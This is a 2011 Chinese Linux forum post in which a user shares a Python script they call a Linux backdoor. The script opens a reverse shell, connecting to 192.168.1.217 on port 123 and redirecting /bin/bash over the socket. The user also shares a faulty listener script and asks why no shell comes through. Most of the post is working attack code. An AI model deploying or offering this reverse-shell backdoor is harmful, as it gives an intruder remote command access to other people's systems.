LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 1081|回复: 0

python 如果写socket反向连接的SHELL

[复制链接]
发表于 2011-4-12 15:28:42 | 显示全部楼层 |阅读模式
[php]#!/usr/bin/python
def useage(name):
    print 'This\'s Linux backdoor'
    print 'Useage:%s' %name
import sys
import socket
shell='/bin/bash'
def main():
#   if len(sys.argv) !=1:
#       useage(sys.argv[1:])
#      sys.exit(1)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
#        s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
        s.connect((socket.gethostbyname('192.168.1.217'),int(123)))

        print '[+]Connect OK'
    except:
        print "[-]Can't connect"
        sys.exit(2)
    import os
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    import pty
    global shell
    pty.spawn(shell)\\创建SHELL进程!!!!
    s.close()

if __name__ == '__main__':
    main()
[/php]
通过socket 连接至192.168.1.217 123监听端口建立,反向连接的shell ,但我发现一个问题,就是192.168.1.217上,我运行的监听程序能成功建立socket连接,但无法得到pty.spawn(shell) ,意思'/bin/bash'的进程
如下是我写的监听程序
[php]import socket,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host=socket.gethostbyname('192.168.1.217')
port=123
s.bind((host,port))
s.listen(4)
while True:
    c,addr=s.accept()
    c.close
[/php]
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表